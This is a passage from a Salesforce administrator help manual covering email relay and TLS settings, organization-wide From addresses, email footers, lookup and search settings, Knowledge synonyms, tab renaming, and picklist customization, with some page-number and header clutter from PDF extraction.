The port number of your company's SMTP server. Obtain this information from your email administrator. Email relaying is supported on port numbers 25, 587, 10025, and 11025. Specifies whether Salesforce uses TLS for SMTP sessions. Select one of the following options: Preferred (default): If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. If TLS is unavailable, Salesforce continues the session without TLS. Required: Salesforce continues the session only if the remote server offers TLS. If TLS is unavailable, Salesforce terminates the session without delivering the email. Preferred Verify: If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. Before the session initiates, Salesforce verifies the certificate is signed by a valid certificate authority, and that the common name presented in the certificate matches the domain or mail exchange of the current connection. If TLS is available but the certificate is not signed or the common name does not match, Salesforce disconnects the session and does not deliver the email. If TLS is unavailable, Salesforce continues the session without TLS. Required Verify: Salesforce continues the session only if the remote server offers TLS, the certificate is signed by a valid certificate authority, and the common name presented in the certificate matches the domain or

TLS Setting

946

Email Administration

Organization-Wide Addresses

Setting

Description mail exchange to which Salesforce is connected. If any of these criteria are not met, Salesforce terminates the session without delivering the email.

Restrict Relay to Domains

Specifies whether to restrict the email relaying functionality to certain domains. If you select this option, enter the names of those domains separated by commas in the text field below. (The asterisk (*) wildcard is allowed; for example, *.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not john@subdomains.com)). This causes Salesforce to route email to your company's SMTP server only if the email is addressed to one of the listed domains. If you select the checkbox but do not list any domains, Salesforce routes all email to your company's SMTP server. Enables email relaying for your organization. If you deselect this checkbox, Salesforce keeps the email relay configuration but does not route email to your company's email server.

Active

3. Click Save. Salesforce recommends sending a test message each time you change the email relay configuration.

See Also:
Configuring Deliverability Settings Enabling Compliance BCC Emails Testing Deliverability

Organization-Wide Addresses
Available in: All Editions except Database.com

User Permissions Needed To configure organization-wide addresses: Modify All Data

If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email from Salesforce, users with these profiles can choose a different From address than the email address they have defined. Replies are delivered to the organization-wide address.

947

Email Administration

Organization-Wide Addresses

For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users send an outbound email through Salesforce, they can choose to have their From address appear as support@acme.com instead of their own Salesforce email address. The highlighted sections in the following image represents the changes to the From address and Display Name that the recipient of an email might see:

After an organization-wide address is verified, it is available as a From address when sending an email or an email alert. To display the list of defined organization-wide addresses, click Your Name > Setup > Email Administration > Organization-Wide Addresses. From this page you can: Click Add to create a new organization-wide address. Click Edit to change any of the fields associated with the alias:
Display Name is the word or phrase users who receive your email will see as the sender of the email. Email Address is the email address that is used when sending an outbound email. Allowed Profiles lists the profiles which use the email address as an alias. Status shows the current stage of verification. When you add a new organization-wide address, it must be verified

as a valid email address before becoming available for use. If you have not received your verification email, click Resend to have another one sent. Click Del to remove the alias. Note: You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request. You cannot delete or change an organization-wide email address if it is used by an email alert.

See Also:
User Profiles Overview Managing Organization-Wide Email Footers

Defining Organization-Wide Addresses

948

Email Administration

Defining Organization-Wide Addresses

Available in: All Editions except Database.com

User Permissions Needed To configure organization-wide addresses: Modify All Data

To define an organization-wide address for a user profile: 1. Click Your Name > Setup > Email Administration > Organization-Wide Addresses. 2. Click Add. 3. Enter a Display Name. The display name identifies how your name appears on outbound emails. The maximum length is 300 characters. 4. Enter the Email Address you would like to use as an alias. This can be any standard email address. The maximum length is 270 characters. 5. Select Allow All Profiles to Use this From Address if you want every user profile in your organization to be able to use the new From address. Otherwise, select Allow Only Selected Profiles to Use this From Address to choose from existing user profiles. 6. Click Save to save your changes, or Save and New to define another organization-wide address. A verification email is sent to the new email address which includes a link that you click to complete the verification process. The From address will not be available for use until you access the email and click this link. Click Cancel to return to the previous page without saving. Note: You cannot delete or change an organization-wide email address if it is used by an email alert.

To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from the drop-down list.

See Also:
User Profiles Overview

Enabling Email to Salesforce


Available in: All Editions except Database.com

User Permissions Needed To enable or disable Email to Salesforce: Modify All Data

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to leads, contacts, opportunities, and other records in Salesforce. When composing, forwarding, or replying to email, simply enter your Email

949

Email Administration

Deleting Email Attachments Sent as Links

to Salesforce address in the BCC field or any recipient field. Salesforce receives a copy of the email and, depending on your configuration, adds it to either the Activity History related list of the matching records or to the My Unresolved Items page, where you can manually assign it. To enable Email to Salesforce for your organization: 1. 2. 3. 4. Click Your Name > Setup > Email Administration > Email to Salesforce. Click Edit. Select the Active checkbox. Optionally, select the Advanced Email Security Settings checkbox to configure Email to Salesforce to verify the legitimacy of the sending server before processing a message. Email to Salesforce uses the following authentication protocols to verify the sender's legitimacy: SPF SenderId DomainKeys

If the sending server passes at least one of these protocols and does not fail any protocols, Email to Salesforce accepts the email. If the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email. Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect to use Email to Salesforce support at least one of the authentication protocols listed above. 5. Click Save. 6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step. After enabling Email to Salesforce, Salesforce creates a unique Email to Salesforce address for each user. Users can click Your Name > Setup > Email > My Email to Salesforce to view their unique Email to Salesforce address and customize their settings. For more information, see Guidelines on Using Email to Salesforce on page 238.

See Also:
What are Email Services? Using Gmail in Salesforce Guidelines on Using Email to Salesforce

Deleting Email Attachments Sent as Links


Available in: All Editions except Database.com

User Permissions Needed To delete email attachments sent as links: Modify All Data

You can find and delete attachments sent as links. Recipients who subsequently click on the attachment link see a message asking them to contact the email sender to view the attachment. You can search only within your organization's email retention period (typically 30 days, but contact salesforce.com Support for your organization's details).

950

Email Administration

Managing Organization-Wide Email Footers

To find and delete email attachments sent as links: 1. Click Your Name > Setup > Email Administration > Attachments Sent as Links 2. Enter either of these: File name (optional), username, and date range: Optionally, attachment file name, including the file extension (for example, ThisYearResults.pdf). You can use wildcards (for example, ThisYearRes would find ThisYearResults.pdf). Sender's username Date range during which the email was sent Attachment URL: Click the attachment link (.html) in the email to open it in a browser, and copy and paste the URL.

3. Click Search. Search results show up to 100 matching entries. If the attachment was sent using mass email, search results show one entry for every 100 emails sentdelete one of these entries to delete the attachment.

4. In Search Results, click Del next to the attachment you want to delete. Recipients who subsequently click on the attachment link see a message asking them to contact the email sender to view the attachment. Note: You cannot recover deleted attachments from the Recycle Bin.

Managing Organization-Wide Email Footers


Available in: All Editions except Database.com

User Permissions Needed To create and edit email footers: Modify All Data

You can create personalized footers or disclaimers that appear at the bottom of all outgoing email messages sent from Salesforce or the API. You can create a separate email footer for each encoding and choose default footers for single and mass email. The defaults are used when no footer matches an outgoing email's encoding.

Creating Email Footers


1. 2. 3. 4. 5. Click Your Name > Setup > Email Administration > Email Footers. Click New. Enter a name. Choose if you want the footer to be available for single emails, mass emails, or both. Select the email encoding. The email encoding determines which emails the footer appears on. For each encoding you can have one active single email footer and one active mass email footer.

951

Search and Tags

Customizing Users' Search Results Filters

6. Enter the text of the footer. Note: Footers are text only; HTML tags aren't rendered. Maximum is 32 KB.

Editing Email Footers


1. Click Your Name > Setup > Email Administration > Email Footers. 2. To edit an email footer, either click Edit next to a footer or on the footer detail page. 3. Edit the footer information and click Save.

Choosing Default Email Footers


You can choose one default footer for single email and one for mass email. These defaults are used when no footer matches an outgoing email's encoding. 1. Click Your Name > Setup > Email Administration > Email Footers. 2. Using Default for Single Mail and Default for Mass Mail, select default footers. 3. Click Save. Note: If you don't click Save, your default footer choice is lost when you leave the page.

Deactivating Email Footers


You can deactivate an email footer without deleting it. 1. Click Your Name > Setup > Email Administration > Email Footers. 2. Uncheck the Single and Mass checkboxes next to the footer. 3. Click Save.

SEARCH AND TAGS


Customizing Users' Search Results Filters
Available in: All Editions except Database.com

User Permissions Needed To change search layouts: Customize Application

To customize an object's search results filters for all users: 1. On the Search Results page, in an object's related list, click Customize and select Filters for All Users.

952

Search and Tags

Configuring Lookups

2. To choose columns, use Add and Remove. 3. To reorder columns, use Up and Down. 4. Click Save.

See Also:
Search Results Customizing Search Results Columns

Configuring Lookups
Available in: All Editions except Database.com

Administrators can configure lookups by: Enabling enhanced lookups Specifying lookup filter fields Enabling lookup auto-completion Creating lookup filters that limit the valid values and lookup dialog results for the relationship field

See Also:
Lookup Dialog Search

Enabling Enhanced Lookups


Available in: All Editions except Database.com

User Permissions Needed To enable enhanced lookups: Customize Application

Enable enhanced lookups so users can use wildcards in their lookups and sort, filter, and page through their results. 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. In the Lookup Settings area, select the objects for which you want to enable enhanced lookup functionality. Currently, only account, contact, user, and custom object lookups can use this feature. 3. Click Save. After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify any fields, your users can't use filters in enhanced lookup dialogs.

953

Search and Tags

Configuring Lookups

Note: If you enable enhanced lookups in your organization, it is also enabled for any Visualforce pages you create.

See Also:
Configuring Lookups

Specifying Lookup Filter Fields


Available in: All Editions except Database.com

User Permissions Needed To specify lookup filter fields: Customize Application

After enabling enhanced lookups, specify which fields users can use to filter lookup search dialog results. If you don't specify any fields, your users can't use filters in enhanced lookup dialogs. 1. Take the action for the type of object you want. For accounts, contacts, or users: a. Click Your Name > Setup > Customize. b. Select Accounts, Contacts, or Users. c. Click Search Layouts. For custom objects: a. Click Your Name > Setup > Create > Objects. b. Click the name of the object you want. c. Scroll to the Search Layouts related list. 2. Click Edit next to the Lookup Filter Fields layout. 3. Use the arrows to add or remove fields from the layout and to define the order in which the fields should display. You can add up to six filter fields to the Selected Fields list. To select more than one field, use CTRL+click, or SHIFT+click to select multiple items in a range. 4. Click Save.

See Also:
Lookup Dialog Search Configuring Lookups

954

Search and Tags

Managing Salesforce Knowledge Synonyms

Enabling Lookup Auto-Completion


Available in: All Editions except Database.com

User Permissions Needed To enable lookup auto-completion: To use lookup auto-completion: Customize Application Edit on the record that includes the lookup field

With lookup auto-completion, users can select items from a dynamic list of matching, recently used records when editing a lookup field. Lookup auto-completion is available on account, contact, user, and custom object lookups. To enable it: 1. Click Your Name > Setup > Customize > Search > Search Settings. 2. In the Search Settings area, select the object lookups for which you want to enable auto-completion. Currently, only account, contact, user, and custom object lookups can use this feature. 3. Click Save.

See Also:
Configuring Lookups

Managing Salesforce Knowledge Synonyms


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete synonym groups: Manage Synonyms

Salesforce Knowledge synonyms are words or phrases that are treated as equivalent in article searches, letting you optimize search results. When searching articles, users can enter search terms that don't match any terms in your articles, but are synonymous with those terms. For example, if you define a synonym group with these synonyms: CRM, customer relationship management, Salesforce then a search for customer relationship management matches articles containing customer relationship management, as well as articles containing CRM or Salesforce. When building synonym groups, work with knowledge managers and other subject matter experts in your organization to create relevant synonyms. To view and manage synonyms, click Your Name > Setup > Customize > Search > Knowledge Synonyms.

955

Customize

Managing Salesforce Knowledge Synonyms

To create a synonym group: 1. Click New. 2. Enter at least two synonyms. A synonym can be any word or phrase. 3. Select at least one language. If the synonyms are specific to a single language, select only that language. For example, if zum biespiel and zB applies to German users only, select only German. If the synonyms apply regardless of the language your users are searching in, select several languages for one synonym group. For example, if the synonym group Business Objects and BO applies to English, German, and Spanish users, select all of these languages. 4. Click Save. You can add up to 300 synonym groups. Note: You can't use the following symbols in synonyms: Symbol * ? " ( ) Description Asterisk Question mark Quotation mark Open parenthesis Closed parenthesis

To filter a long list of groups, click Show Filters, then in the Synonyms field, enter part or all of a synonym, and click Apply Filters. To edit a synonym group, click Edit next to the synonym group, then update as needed. To delete a synonym group, click Del next to the synonym group.

See Also:
How Salesforce Knowledge Synonyms Work in Searches Searching for Articles

CUSTOMIZE
Customization Overview

956

Customize

Customization Overview

The available customization options vary according to which Salesforce Edition you have.

User Permissions Needed To view setup options: To customize your organization: View Setup and Configuration Customize Application

You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts. You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager, Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options. To tailor Salesforce for your organization, you can customize the display of the various tabs and other items. Click Your Name > Setup > Customize and then select a link to view the following customization options: Tab Names and Labels Rename the labels for standard Salesforce tabs and fields. Home Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users. Activities Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts, and buttons. Also, enable or disable functionality like activity reminder popups and recurring events. Campaigns Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also configure Campaign Influence. Campaign Member (Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom buttons and links. Leads Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set up lead queues, assignment rules, lead settings, and online lead capture. Accounts Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account teams. Person Accounts (Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.

957

Customize

Customization Overview

Contacts Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. Opportunities Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team selling. Opportunity Products (Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields on product pages within the Opportunities tab. Quotes Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists, and custom links, and create PDF templates and terms and conditions. Quote Line Items (Located under Quotes) Customize the standard fields, create custom fields, and control the layout of fields on quote line item pages. Forecasts Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available if your organization has enabled customizable forecasting. Cases Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings. Case Team (Located under Cases) Define case teams and case team roles for your organization. Email Messages (Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages. Case Comments (Located under Cases) Create triggers for case comments. Case Milestones (Located under Cases) Create validation rules for case milestones. Entitlement Management Set up entitlement management so that support reps can verify if customers are eligible for support and provide the correct service levels to your customers.

958

Customize

Customization Overview

Entitlements (Located under Entitlement Management) Customize the standard fields, create custom fields and custom links, control the layout of fields, related lists, custom links, and create record types and templates. Entitlement Contacts (Located under Entitlements) Customize the standard fields. Service Contracts (Located under Entitlement Management) Customize the standard fields, create custom fields and custom links, control the layout of fields, related lists, custom links, and create record types. Contract Line Items (Located under Service Contracts) Customize the standard fields, create custom fields and custom links, control the layout of fields, related lists, custom links, and create record types. Self-Service Set up your public solutions, online case capture, and the Self-Service portal. Call Center Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone layouts. Contracts Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set the contract expiration notices for your organization and configure auto-calculation of contract end dates. Solutions You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields, related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. Products For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules. Partners Configure your partner portal. Salesforce to Salesforce Enable Salesforce to Salesforce business collaboration both within and across Salesforce organizations. Connection Finder (located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce. Also, customize default template used for the email and logo used for the survey. Customer Portal Enable the Customer Portal for your organization.

959

Customize

Customization Overview

Ideas Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and Developer Edition organizations. You can also establish comment validation rules and manage your communities. Assets Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts, and create custom links. Territories For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields. Users Create custom fields and custom links for users. Console Create console layouts that display pertinent information to users. Tags Enable personal and public tags for your organization. You can also delete personal tags. Reports & Dashboards Customize user interface and email settings for reports and dashboards. Search Optimize search settings for your organization. Social Contacts Enable and configure Social Contacts for your organization. User Interface Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization, among other options.

TAB SETTINGS
Renaming Tab and Field Labels

960

Customize

Renaming Tab and Field Labels

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To rename tab and field labels: Customize Application OR View Setup and Configuration AND Be designated as a translator To reset renamed tabs: Customize Application OR View Setup and Configuration AND Be designated as a translator

You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the Setup area use the default, original labels. Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators. 1. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels. 2. Select your default language from the Select Language drop-down list at the top of the page. Note: In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and verbs can lose gender agreement. 3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its original name. Note: You cannot reset custom object tab names.

4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as a or an) is used. Then click Next. A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab. 5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for labels that start with a vowel.

961

Customize

Renaming Tab and Field Labels

If your organization uses person accounts, see Renaming Person Account Labels on page 962. Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they track system information. 6. Click Save. 7. Repeat this procedure to translate labels into all other languages used in your organization. Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, permission sets, custom fields, and list views that contain the original name. You can modify labels using the Translation Workbench. To rename a standard report, click Save As and save it to a folder designed for your new name. Other tab customization options include the following: Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing Your Display on page 41. In addition to the standard tabs provided by Salesforce, users can create entirely new custom tabs depending on their Edition. For more information, see Defining Custom Tabs on page 1631. In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home Pages on page 1172.

Renaming Person Account Labels Person accounts available in: Enterprise, Unlimited, and Developer Editions

If your organization uses person accounts, you can rename the following standard field labels: Field
Business Account

Tab Accounts

Description An account that is not a person account because it does not have a record type specific to person accounts. This label is primarily used to clarify the type of accounts you are importing. A person account. For more information, see below. A contact that is associated with a business account. This label is primarily used to clarify the type of accounts you are importing.

Person Account Business Contact

Accounts Contacts

When you rename the Person Account field label, the renamed label appears in Salesforce as follows: As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For example, Person Account: Birthdate is available as an account column in opportunity reports. In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to Consumer, then Is Person Account becomes Is Consumer. Note: The Person Account and Business Account field labels are completely independent from actual record type names. To customize person account record types, click Your Name > Setup > Customize > Accounts > Person

962

Customize

Considerations for Renaming Tab and Field Labels

Accounts > Record Types. To customize business account record types, click Your Name > Setup > Customize > Accounts > Record Types.

See Also:
Replacing Salesforce Online Help Customization Overview What is a Person Account?

Considerations for Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To rename tab and field labels: To reset renamed tabs: Customize Application Customize Application

Renaming standard and custom Salesforce tabs, objects, fields, and other related user interface labels is a valuable feature that has far-reaching implications for all your users. Before renaming anything for your organization, review the following considerations to determine how it will affect your users: Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels to view a list of the tabs and objects you can rename. The renamed labels display on all user pages in Salesforce including Personal Setup. However, all pages in the Setup area use the default, original labels. Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they track system information. After renaming tabs, objects, or fields, check the following additional items that may need manual updates: Review all list view names. List view names continue to display the original object name until you change them manually. Check standard report names and descriptions for the objects you renamed. Update the titles and descriptions of any email templates that contain the original object or field name. Manually change any other items you customized with the standard object or field name. For example, custom fields, page layouts, and record types may contain the original tab or field name.

Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook use your new names. If you have renamed tabs, objects, or fields, you can also replace the Salesforce online help with another URL. Users can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup. After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages will continue to display Salesforce online help. For instructions on replacing the online help, see Replacing Salesforce Online Help on page 1486.

963

Customize

Customizing Fields

In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and verbs can lose gender agreement.

See Also:
Renaming Tab and Field Labels

FIELDS
Customizing Fields
Available in: All Editions Standard Fields and Page Layouts are not available in Database.com

User Permissions Needed To create or change custom fields: To change standard fields: Customize Application Customize Application

Customize fields to tailor Salesforce to your organizations unique requirements. You can: Modify some aspects of standard fields Change or add values to standard and custom picklist fields Define dependency rules between fields Create custom fields to capture additional information Create formula fields that automatically calculate values based on the contents of other fields Define default values for custom fields Define validation rules for your fields Make a field required everywhere in Salesforce Set fields to track changes, including the date, time, nature of the change, and who made the change Create page layouts to control the display of fields Set field-level security to control access to fields in Enterprise, Unlimited, and Developer Editions

964

Customize

Customizing Standard Fields

Create or modify field sets

See Also:
Creating Custom Fields Viewing Fields Overview of Relationships Creating a Many-to-Many Relationship

Customizing Standard Fields


Available in: All Editions except for Database.com.

User Permissions Needed To change standard fields: Customize Application

You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking field history, lookup filters on relationship fields, and field-level help. In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.

See Also:
Creating Custom Fields Modifying Standard Auto-Number Fields Viewing Fields Field-Level Security Overview Tracking Field History

Modifying Standard Auto-Number Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify standard auto-number fields: Customize Application

The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique number with a specified format upon creation. You can modify the format and numbering for these auto-number fields. 1. Click Your Name > Setup > Customize, select the appropriate tab link, and then click the Fields link.

965

Customize

Modifying Picklists

2. Click Edit next to the name of the field in the Standard Fields list. 3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix or suffix for the number. See Custom Field Attributes on page 988. Format changes do not affect existing records; they are applied only to new records. 4. Enter the number to be assigned to the next record that is created after you save your changes. 5. Click Save. Caution: Salesforce warns you if the next number you enter is not higher than existing numbers. However, it may be possible to create duplicate numbers if you change the auto-number format multiple times using similar formats each time.

See Also:
Custom Field Types

Modifying Picklists
Available in: All Editions

User Permissions Needed To change picklists: Customize Application

Customized selection lists, or picklists, let users pick values from a predefined list of entries. You can update the entries in standard and custom picklists; see Updating Picklists on page 966. To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record Types on page 1180. Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list of picklist values.

See Also:
Sorting Picklists Replacing Picklist Values Defining Dependent Picklists

Updating Picklists

966

Customize

Modifying Picklists

Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To change picklists: Customize Application

To update any standard or custom picklist field: 1. Navigate to the fields page for your object. For example, for account fields, click Your Name > Setup > Customize > Accounts > Fields. For custom objects, click Your Name > Setup > Create > Objects, then click the name of an object. 2. Click the name of the picklist you want to update. 3. In the Picklist Values section, click Edit next to a value. 4. In the Picklist Edit page, you can change the name of the value and make the value the default for the master picklist. You can also assign a color for use in charts by clicking the click Assign color dynamically. button. To assign a color dynamically when a chart is generated,

Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject, and Opportunity Competitor picklists. Tip: Some special picklists, such as Task Priority, Stage, or Partner Role, have additional information that you can edit. If you use record types, changing the default value of the master picklist does not affect the default value of the picklist for a record type. For Salesforce CRM Ideas, setting the default value of the Categories or Status picklists does not affect the default value on the Salesforce CRM Ideas pages. If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source equals Email or Web and you change the picklist value Web to Referral, your report filter will change to Lead Source equals Email. If the changed picklist value was the only value specified for a particular filter, it will continue to show up in your report filters, but an error will display on the report wizard.

5. Click Save.

967

Customize

Modifying Picklists

Note: If your organization uses the Translation Workbench, notify your translators that the translations may be out of date whenever you change picklist values.

See Also:
Modifying Picklists Picklists with Additional Information Picklist Limitations Additional Options for Updating Picklists

Additional Options for Updating Picklists


Use the following options to edit picklist values. Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change additional information. Click Del next to a value to remove it from the picklist. Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Statusmay prompt you to map the deleted value to another existing value in all of your organizations records. You can map the values or leave your existing data unchanged. Click New to add values to the picklist. If you use record types, select any record types that you want to include the new values. Click Reorder to change the sequence of picklist values. Click Replace to change the values of picklist fields in existing records. Click Printable View to open an easy-to-print list of your picklist values. Click Chart Colors and select an option to assign colors to picklist values for use in charts: Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example, if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that picklist value. Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as Assigned dynamically. Manual assignments are overridden each time you click an option in Chart Colors. Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject, and Opportunity Competitor picklists.

968

Customize

Modifying Picklists

For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master picklist in different record types to offer a subset of values to users based on their profile. For instructions on sharing master picklist values across record types, see Managing Record Types on page 1180.

See Also:
Custom Field Attributes Modifying Picklists Updating Picklists

Picklists with Additional Information


These standard picklist fields have additional information that you can edit. Picklist
Partner Role (for accounts)

Description Roles of account partners, for example, Consultant, Supplier. These options are available when you add an account to the Partners related list of an account or opportunity. To edit, click Your Name > Setup > Customize > Accounts > Partner Roles. Enter the name of the partner role in the Role column. In the Reverse Role column, enter the corresponding reverse partner role. Assigning a partner role to an account creates a reverse partner relationship so that both accounts list the other as a partner. Each role and reverse role value can have up to 40 characters.

Priority (for cases)

Urgency of case, for example, Low, High. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations cases. Each picklist value can have up to 40 characters.

Status (for campaign members)

State of a campaign member, for example, Sent or Responded. If you delete a Status value, you have the option to map the deleted value to another existing value. The new replacement value is automatically added to the member status for campaigns that contained the deleted value. If the deleted value is the default member status for a campaign, the new replacement value becomes the default status for that campaign.

969

Customize

Modifying Picklists

Picklist
Status (for cases)

Description State of case, for example, New, On Hold. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations cases. Each picklist value can have up to 40 characters.

Status (for contracts)

State of the contract in the contract business process. You can add values to this picklist and organize each value into one of several categories, for example, Draft, In Approval Process, or Activated. Then sort your contracts using these categories in reports and views. Role of a contact on a contract, for example, Business User, Decision Maker. These options are available when you add a contact to the Contact Roles related list of a contract. To edit, click Your Name > Setup > Customize > Contracts > Contact Roles. Each picklist value can have up to 40 characters.

Contact Role (for contracts)

Lead Status (for leads)

State of the lead, for example, Open, Qualified. Select one value as the Default Status assigned to all new leads created manually, via the import wizard, or via your website. Select one or more values as the Converted Status assigned to converted leads. When you convert qualified leads into an account, contact, and opportunity, you can select one of the Converted statuses to assign to the lead. Leads with a Converted status type are no longer available in the Leads tab, although you can include them in reports. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations leads. Each value can have up to 20 characters.

Contact Role (for opportunities)

Role of a contact for an opportunity, for example, Business User, Decision Maker. These options are available when you add a contact to the Contact Roles related list of an opportunity. To edit, click Your Name > Setup > Customize > Opportunities > Contact Roles. Each picklist value can have up to 40 characters.

Stage (for opportunities)

Sales process stages, for example, Prospect, Proposal. This picklist also affects the Type and Forecast Category values of an opportunity. Specifically, changing the Type or

970

Customize

Modifying Picklists

Picklist

Description
Forecast Category for a Stage picklist value updates all

opportunities that have that stage value. To edit, click Your Name > Setup > Customize > Opportunities > Fields, and select Edit next to the field. To deactivate an active stage, click Del next to the stage. On the mapping page, don't replace the stage with another existing value; just click Save. The stage now appears in the Inactive Stage Picklist Values related list. The stage is no longer in use but may exist in older opportunity records.
Status (for solutions)

Status of a solution, for example, Draft, Reviewed. Mark one or more values as Reviewed. When users solve cases using solutions, they can view which solutions have been reviewed and which have not. Each picklist value can have up to 40 characters. Importance of the task, for example, High, Normal, Low. Set one value as the default priority of all new tasks, and one value as the highest priority. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations tasks. Each picklist value can have up to 20 characters.

Priority (for tasks)

Status (for tasks)

State of a task, for example, Not Started, Completed. Choose at least one value as the Closed status and one value as the Default status for all new tasks. If you delete a value, you have the option to map the deleted value to another existing value in all of your organizations tasks. Each picklist value can have up to 40 characters.

Task Type (for tasks)

Send Email Default specifies the default task type

assigned when the task is sending email or mass email, and when tasks are created via inbound email, such as Email to Salesforce. Default specifies the default picklist value when creating tasks.

971

Customize

Modifying Picklists

Picklist

Description To edit, click Your Name > Setup > Customize > Activities > Task Fields, and select Edit next to the picklist value you want to specify as the default.

See Also:
Modifying Picklists Picklist Limitations

Picklist Limitations
Available in: All Editions Standard Picklists are not available in Database.com

